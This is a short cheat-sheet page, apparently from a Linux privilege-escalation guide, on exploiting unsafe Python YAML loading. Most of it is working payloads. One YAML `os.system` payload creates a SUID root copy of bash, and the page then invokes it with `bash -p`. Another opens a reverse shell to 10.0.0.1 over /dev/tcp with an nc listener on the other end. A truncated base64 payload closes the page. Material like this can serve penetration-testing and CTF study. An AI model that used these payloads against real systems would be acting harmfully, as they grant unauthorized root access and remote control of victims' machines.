> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/python-yaml-privilege-escalation.md).
# Python Yaml Privilege Escalation
### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-yaml-privilege-escalation/#investigation)
```python
import yaml
filename = "example.yml"
yaml.load()
Copied!
```
### [Payloads](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-yaml-privilege-escalation/#payloads)
```python
import yaml
from yaml import Loader, UnsafeLoader
data = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]'
yaml.load(data)
yaml.load(data, Loader=Loader)
yaml.load(data, Loader=UnsafeLoader)
yaml.load_all(data)
yaml.load_all(data, Loader=Loader)
yaml.load_all(data, Loader=UnsafeLoader)
yaml.unsafe_load(data)
Copied!
```
Now execute the **`bash`** in privilege mode.
```bash
/tmp/bash -p
Copied!
```
#### [Reverse Shell](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-yaml-privilege-escalation/#reverse-shell)
Start a listener in local machine.
```bash
nc -lvnp 1234
Copied!
```
Then execute Python script that contains the following `YAML` code as root.
```python
import yaml
yaml.load('!!python/object/new:os.system ['bash -c "bash -i >& /dev/tcp/10.0.0.1/1234 0>&1"'])
Copied!
```
#### [Base64 Encoding](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-yaml-privilege-escalation/#base64-encoding)
Sometimes we might be able to remote code execution by using Base64 encoded payload.
```python
yaml.load(b64decode(b"ISFweXRa...YXNoIl0="))
Copied!
```
### References
*